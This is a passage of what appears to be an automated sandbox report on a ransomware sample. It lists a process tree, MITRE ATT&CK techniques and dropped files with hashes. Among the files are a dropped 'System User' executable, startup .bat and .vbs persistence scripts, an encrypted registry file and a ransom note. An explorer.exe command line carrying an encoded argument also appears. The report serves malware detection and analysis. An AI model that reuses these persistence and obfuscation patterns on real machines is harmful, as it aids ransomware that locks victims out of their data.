        "C:\Windows\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
        7⤵
        
        PID:4064

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1264

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4716

C:\Users\Admin\AppData\Roaming\System User
"C:\Users\Admin\AppData\Roaming\System User"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
1⤵
PID:4644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa09a046f8,0x7ffa09a04708,0x7ffa09a04718
  2⤵
  PID:3916

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
PID:4648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
719923124ee00fb57378e0ebcbe894f7

SHA1
cc356a7d27b8b27dc33f21bd4990f286ee13a9f9

SHA256
aa22ab845fa08c786bd3366ec39f733d5be80e9ac933ed115ff048ff30090808

SHA512
a207b6646500d0d504cf70ee10f57948e58dab7f214ad2e7c4af0e7ca23ce1d37c8c745873137e6c55bdcf0f527031a66d9cc54805a0eac3678be6dd497a5bbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d7114a6cd851f9bf56cf771c37d664a2

SHA1
769c5d04fd83e583f15ab1ef659de8f883ecab8a

SHA256
d2c75c7d68c474d4b8847b4ba6cfd09fe90717f46dd398c86483d825a66e977e

SHA512
33bdae2305ae98e7c0de576de5a6600bd70a425e7b891d745cba9de992036df1b3d1df9572edb0f89f320e50962d06532dae9491985b6b57fd37d5f46f7a2ff8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
0e36bd73f7492295b04ac9a11e90956c

SHA1
9f86bfe420a7c179d24629d794c245c7e4fcb916

SHA256
dd36042e979eb003aa88b225d0858aae1be1e78ef88be6fbb74440ed8240620d

SHA512
e5bcfa46fb24fdae582eb1c6c2d1ce22ec3cc60f60ef65e5ca6a72a2fcaf39a55fcd3c9a39738009c45fa7419c2380c64cd15f0ad6a51e3a94056f66f454c35a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ce8c0d01dda3746592c61a9c48fd59a3

SHA1
7470ac762291f0f8a6f6220d8320e743eb312f3b

SHA256
57cb8d36e4cc53657b8e6a9a118547c26f3a3947bada10f9ef204c6f3f5e3ab6

SHA512
acc08706f7b94adfa2aa995a6e6697d36f05bd914b8a3126a58ac6ec12346b0ece1a47c9c7ce039ae4f8e2322938d3e70103c5bf124c47cb7e20f8cdc97250f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
1723a6d36a63d5a0889628e0d20cfff9

SHA1
25c7985f2966ec0adcbbdbbecdd41569964d44bf

SHA256
6e2f2a18ab582e88a51711f4eb8869d3274e7c551f89dccb3a5ff69b3c752879

SHA512
3af0015150373cbfc4216da5cc70432cd2c5953e33a6e2441f6dc2993d4adefaeca2ca3bb7cd03ebd71ff6fae57835408410c7a7756450ed723d7055ebe43e37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5c3a71318febd3757bce3e2b6ba367a6

SHA1
6a7546feebd060922d2ba70c7f87e6cde333c0a7

SHA256
8301ecf8a8b0ec4122fddf35bd738f113fd6cce1a8ff05befe6053081ca36921

SHA512
bde2567fef07dbbef4b6d4d520f0f87bdd1dced63df323935e745299a212e5a5d9fc4105a3aea4f0f4dec7d5d94ea7181e57608bb93a73725a453d1c365a2c60

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
2fcae90a8ae60ec3c669ec5086e4e746

SHA1
19c6a078ff20aaea738c14b3cde3186bad8daaea

SHA256
c805412be4299d8e774f81a8ffff61595247cd3d3da48981cf6e58dffe8abeda

SHA512
02e7be8aab7ae077222ea0e46d3fd016413f0f8a57c8597f366c244c52a38e3ce06845be8afa091ebd3556dc9ba90b9fe49f3b57d10d214facd082fcf536af6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
f325d1ab6dbc7a0e22d8c66bb0f18ad8

SHA1
09bd4e0e1f371afa52b7e5cf067c8722dbab9571

SHA256
704d02602107f91fe26864e972e7e08b7a56b52edcc43840436768b58ad61340

SHA512
23d5aa19b4c40d04f66ced604bf13c4199db46e0f2c20e45ae3673dd180498e23251223ea92ebc1a6668533dc2619fa3dd14e683cfca71289e2de7b382ed91cb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
dbb76b1477a9f774184801e954b4ed2c

SHA1
60c1d0b2bb64d077ec28276211265b7d44adc513

SHA256
f4dc29b8208d90187fdc89159ede713c4bf2a8eaabb318f6f182a27bac1d814f

SHA512
91823473d8808291b27b7f3a761e27ae3c27362d1ee50c84b4a7ce4c4f08472f38a87c5187663c30e57d12d64653b8c0247f01dc23467d30612e3b1121d53912

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
2153fefef81fb609dfc9688412bd3f34

SHA1
71dd3db60cecda16ace4f5bc6946fea49c2f710a

SHA256
12670b02ed89d74553d85e67af2fd8a53e60e9d8fdde414cc8d18c54fb6e65e6

SHA512
ec9724d63e8a2c60a5721fcc1be2918b70e9a3c2df4757e53704dc136c6b682ab6bd0a3df1c5d133a380ba4c01e66b37095c5edbded6fbfbe27d57dc83d55f8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f8d49a4af7a844bfc7247d5670def557

SHA1
26ae0ce194a77a7a1887cf93741293fdfa6c94c4

SHA256
61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

SHA512
9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
98baf5117c4fcec1692067d200c58ab3

SHA1
5b33a57b72141e7508b615e17fb621612cb8e390

SHA256
30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51

SHA512
344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
60945d1a2e48da37d4ce8d9c56b6845a

SHA1
83e80a6acbeb44b68b0da00b139471f428a9d6c1

SHA256
314b91c00997034d6e015f40230d90ebbf57de5dc938b62c1a214d591793dbe3

SHA512
5d068f1d6443e26ae3cad1c80f969e50e5860967b314153c4d3b6efd1cfa39f0907c6427bec7fa43db079f258b6357e4e9a1b0b1a36b1481d2049ea0e67909ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
50d3033f2bc3a3774c469d03e71a79a9

SHA1
22027b1d52085de99b3bffa276530fea5d961471

SHA256
2987e99ec7fa17bd4ab7de3cb4dc62645e1052012a5a357904d6fc6db9054147

SHA512
ecf7ab1a9e4192454a3e24c60453fd702a8c648e00078fc933b9182f4a3d3c10c6f5da622a5729b35727e6ddc8837029caddcaf76f56e805b9744253b56da5d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tnbdijgq.syg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\System User

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_344.bat

Filesize
320KB

MD5
e0d59aedb927f0aad0b47eab247e5fbc

SHA1
8abe8db8e344729b0f78d83e540b17a31893ed92

SHA256
ab6fed54d7e8fcd47d2888aae95498968192e13aaab8f8a09880b602ea98e81c

SHA512
7459cba2a54a2e26e7464f9f4863b1fedb63cfa80ed2261ee69fd9c268c5d6bb54a4d01368d7ed987387016d786fb115f84afe97e192545b1f860b020c805e97

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_344.vbs

Filesize
115B

MD5
e834fc0077b62389b5c63b294ee7d118

SHA1
9f354579a3ebc10929c09d3e6880bc038fc9e5ad

SHA256
3b5b9d196b8228be8287ec5a02fdc0f5158e1a22cea8ac84be026e62f7793e5a

SHA512
50f546b8aebe8a620418a24c1852b416485a2b4539c523f954dabb486d78fdb83b5c94976e309000506373861fe5d65d58ec32179859d7db3d326a32fe57c32a

Download Submit
C:\Users\Admin\Desktop\How To Decrypt My Files.html

Filesize
622B

MD5
d06b877db5d1b5c8c7eefc0e6296578a

SHA1
511ccdc75d18a6a1fd83f6007b7cb4afe60681a4

SHA256
faad52aab4bed1196d4e16ee817dcc69b193d2efa50c0c8083547f09e04ce55b

SHA512
c41c969f97f026b659100cef9e98c9db5ed73bad2048e2bd1bb26a637c62d4d834dc3d7e23d5d0890b082d380e95ead40fd6c1235ccc4b0f383c17e5f900eaf9

Download Submit
C:\Users\Admin\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC

Filesize
16B

MD5
98824ea2c44db297e4426d0d42c12b52

SHA1
f4591c559dd7cb3b1710b1cbbe3a9678ed067ecb

SHA256
1aadeca99bf90dac7b6eaf7d819023769ee28eebebaa85b5c79385b878cba60f

SHA512
2975b038a3e629bf209139cdfceadadc8544564fcd066feaba0be2776b3aba9fd99f102c984b64134e96c288363f50c86ee3a8a00bafc435f24b7025636b3b40

Download Submit
memory/440-446-0x00000132D3C30000-0x00000132D3C40000-memory.dmp

Filesize
64KB

Download
memory/440-332-0x00000132D3BE0000-0x00000132D3BEC000-memory.dmp

Filesize
48KB

Download
memory/440-445-0x00000132D37D0000-0x00000132D37D8000-memory.dmp

Filesize
32KB

Download
memory/440-97-0x00000132B8DC0000-0x00000132B8DCC000-memory.dmp

Filesize
48KB

Download
memory/440-49-0x00000132D3390000-0x00000132D33EA000-memory.dmp

Filesize
360KB

Download
memory/3640-312-0x0000026C7FB80000-0x0000026C7FBC4000-memory.dmp

Filesize
272KB

Download
memory/3640-313-0x0000026C7FC50000-0x0000026C7FCC6000-memory.dmp

Filesize
472KB

Download
memory/4544-13-0x00000277AAAA0000-0x00000277AAAA8000-memory.dmp

Filesize
32KB

Download
memory/4544-14-0x00000277AAAB0000-0x00000277AAAEE000-memory.dmp

Filesize
248KB

Download
memory/4544-0-0x00007FFA10283000-0x00007FFA10285000-memory.dmp

Filesize
8KB

Download
memory/4544-12-0x00007FFA10280000-0x00007FFA10D41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-11-0x00007FFA10280000-0x00007FFA10D41000-memory.dmp

Filesize
10.8MB

Download
memory/4544-6-0x00000277AA840000-0x00000277AA862000-memory.dmp

Filesize
136KB

Download
memory/4544-50-0x00007FFA10280000-0x00007FFA10D41000-memory.dmp

Filesize
10.8MB

Download
memory/4668-16-0x00007FFA10280000-0x00007FFA10D41000-memory.dmp

Filesize
10.8MB

Download
memory/4668-26-0x00007FFA10280000-0x00007FFA10D41000-memory.dmp

Filesize
10.8MB

Download
memory/4668-29-0x00007FFA10280000-0x00007FFA10D41000-memory.dmp

Filesize
10.8MB

Download